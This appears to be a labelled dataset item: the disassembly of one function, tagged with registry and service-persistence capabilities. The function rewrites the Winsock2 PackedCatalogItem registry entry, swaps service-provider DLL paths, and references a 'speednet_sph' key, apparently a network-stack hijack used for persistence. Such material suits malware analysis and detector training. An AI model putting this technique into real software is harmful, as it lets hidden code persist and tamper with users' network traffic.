Function at 0x1001a3b2
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
push 0x76c
push 0x100760d0
call fcn.1004558c
mov dword [ebp - 0x778], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 0x774], ebx
mov esi, 0x378
mov dword [ebp - 0x77c], esi
lea edx, [ebp - 0x774]
push edx
push 0xf003f
push ebx
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1001a401
push 0xffffffffffffff99
pop eax
jmp 0x1001a674
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x77c]
push eax
lea eax, [ebp - 0x66c]
push eax
push ebx
push ebx
push str.PackedCatalogItem
push dword [ebp - 0x774]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1001a67c
cmp dword [ebp - 0x77c], esi
jne 0x1001a67c
mov byte [ebp - 0x74], bl
push 0x3f
push ebx
lea eax, [ebp - 0x73]
push eax
call fcn.10042a90
add esp, 0xc
cmp dword [ebp - 0x540], 1
jne 0x1001a666
cmp dword [ebp - 0x51c], 2
jne 0x1001a666
mov word [ebp - 0x2f4], bx
push 0x1fe
push ebx
lea eax, [ebp - 0x2f2]
push eax
call fcn.10042a90
mov word [ebp - 0xf4], bx
push 0x3e
push ebx
lea eax, [ebp - 0xf2]
push eax
call fcn.10042a90
add esp, 0x18
push 0x1a
pop edi
push edi
lea eax, [ebp - 0xf4]
push eax
push edi
push str.rsvp_udp_service_provider
push ebx
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call esi
mov word [ebp - 0xb4], bx
push 0x3e
push ebx
lea eax, [ebp - 0xb2]
push eax
call fcn.10042a90
add esp, 0xc
push edi
lea eax, [ebp - 0xb4]
push eax
push edi
push str.rsvp_tcp_service_provider
push ebx
push ebx
call esi
lea eax, [ebp - 0x4f4]
lea ecx, [ebp - 0x2f4]
movzx edx, word [eax]
mov word [ecx], dx
inc eax
inc eax
inc ecx
inc ecx
cmp dx, bx
jne 0x1001a4e9
lea eax, [ebp - 0x2f4]
push eax
mov ecx, dword [ebp - 0x778]
call fcn.10019e18
lea eax, [ebp - 0xb4]
push eax
lea eax, [ebp - 0x2f4]
push eax
call fcn.100451e1
pop ecx
pop ecx
test eax, eax
jne 0x1001a54d
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0x2f4]
push eax
call fcn.100451e1
pop ecx
pop ecx
test eax, eax
jne 0x1001a54d
push 8
pop ecx
mov esi, str._SystemRoot__system32mswsock.dll
lea edi, [ebp - 0x74]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
jmp 0x1001a55b
push 8
pop ecx
mov esi, str._SystemRoot__system32_rsvpsp.dll
lea edi, [ebp - 0x74]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x568]
push dword [eax + 0x24]
push 0x10065b4c
lea eax, [ebp - 0x34]
push eax
call fcn.100436a6
add esp, 0xc
cmp dword [ebp + 0x10], ebx
jne 0x1001a620
lea eax, [ebp - 0x74]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1001a584
sub eax, edx
push 1
push str.SYSTEMCurrentControlSetServicesWinSock2_speednet_sph
push reloc.OLEAUT32.dll_SysReAllocString
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x778]
call fcn.10019edd
test eax, eax
jne 0x1001a5cb
push 0xfffffffffffffffe
lea eax, [ebp - 0x10]
push eax
push 0x1007ef24
call fcn.10045438
add esp, 0xc
push 0xffffffffffffff96
jmp 0x1001a3fb
mov edx, dword [ebp - 0x778]
lea ecx, [ebp - 0x66c]
mov al, byte [edx]
mov byte [ecx], al
inc edx
inc ecx
cmp al, bl
jne 0x1001a5d7
push dword [ebp - 0x77c]
lea eax, [ebp - 0x66c]
push eax
push 3
push ebx
push str.PackedCatalogItem
push dword [ebp - 0x774]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1001a666
push 0xfffffffffffffffe
lea eax, [ebp - 0x10]
push eax
push 0x1007ef24
call fcn.10045438
add esp, 0xc
push 0xffffffffffffff95
jmp 0x1001a3fb
push 1
push str.SYSTEMCurrentControlSetServicesWinSock2_speednet_sph
push reloc.OLEAUT32.dll_SysReAllocString
push 0x104
lea eax, [ebp - 0x770]
push eax
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x778]
call fcn.10019e56
test eax, eax
je 0x1001a67c
lea ecx, [ebp - 0x770]
lea edx, [ebp - 0x66c]
mov al, byte [ecx]
mov byte [edx], al
inc ecx
inc edx
cmp al, bl
jne 0x1001a657
jmp 0x1001a5e1
mov dword [ebp - 4], 0xfffffffe
call fcn.1001a696
xor eax, eax
call fcn.100455d4
ret 0xc
push 0xfffffffffffffffe
lea eax, [ebp - 0x10]
push eax
push 0x1007ef24
call fcn.10045438
add esp, 0xc
push 0xffffffffffffff97
jmp 0x1001a3fb